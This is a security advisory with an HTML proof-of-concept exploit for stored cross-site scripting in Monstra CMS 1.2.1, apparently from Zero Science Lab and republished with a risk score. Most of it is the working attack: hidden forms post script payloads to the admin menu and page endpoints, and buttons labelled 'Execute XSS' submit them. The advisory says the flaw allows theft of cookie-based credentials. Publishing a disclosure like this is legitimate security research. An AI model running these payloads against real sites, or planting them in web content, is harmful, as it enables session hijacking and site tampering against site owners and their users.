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Monstra 1.2.1 Multiple HTML Injection Vulnerabilities
<!DOCTYPE html>
<!--
Monstra 1.2.1 Multiple HTML Injection Vulnerabilities
Vendor: MONSTRA.ORG
Product web page: http://www.monstra.org
Affected version: 1.2.1
Summary: Monstra is fast and small content management system written
in PHP! It's free, open source and easy to use from the start!
Desc: Monstra suffers from multiple stored XSS vulnerabilities when
parsing user input to the 'menu_item_link', 'menu_item_name' and
'page_title' parameters via POST method thru 'index.php' script.
Attacker-supplied HTML or JavaScript code could run in the context
of the affected site, potentially allowing an attacker to steal
cookie-based authentication credentials, control how the site is
rendered to the user, and influence or misrepresent how Web content
is served, cached, or interpreted.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2012-5101
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5101.php
21.08.2012
--><html>
<head>
<title>Monstra 1.2.1 Multiple HTML Injection Vulnerabilities</title>
</head>
<body>
<form action="http://localhost/monstra/admin/index.php?id=menu&action=add" id="add_menu" method="POST">
<input name="csrf" type="hidden" value="a7de775dce681ae31b7e8954d6305667b0df69e0"/>
<input name="menu_add_item" type="hidden" value="Save"/>
<input name="menu_item_link" type="hidden" value='"><script>alert(1);</script>'/>
<input name="menu_item_name" type="hidden" value='"><script>alert(2);</script>'/>
<input name="menu_item_order" type="hidden" value="0"/>
<input name="menu_item_target" type="hidden" value=""/>
</form>
<form action="http://localhost/monstra/admin/index.php?id=pages&action=add_page" id="add_page" method="POST">
<input name="add_page_and_exit" type="hidden" value="Save and exit"/>
<input name="csrf" type="hidden" value="a7de775dce681ae31b7e8954d6305667b0df69e0"/>
<input name="day" type="hidden" value="21"/>
<input name="editor" type="hidden" value="Tojmi Sesvidja"/>
<input name="minute" type="hidden" value="17"/>
<input name="month" type="hidden" value="08"/>
<input name="page_description" type="hidden" value="Zero Science Lab"/>
<input name="page_keywords" type="hidden" value="ZSL-2012-5101"/>
<input name="page_name" type="hidden" value="XSS"/>
<input name="page_title" type="hidden" value='"><script>alert(3);</script>'/>
<input name="pages" type="hidden" value="0"/>
<input name="second" type="hidden" value="29"/>
<input name="status" type="hidden" value="published"/>
<input name="templates" type="hidden" value="index"/>
<input name="year" type="hidden" value="2012"/>
</form>
<script type="text/javascript">
function xss1(){document.forms["add_menu"].submit();}
function xss2(){document.forms["add_page"].submit();}
</script>
<input onclick="xss1()" type="button" value="Execute XSS 1"/>
<br/><br/>
<input onclick="xss2()" type="button" value="Execute XSS 2"/>
</body>
</html>
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23 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8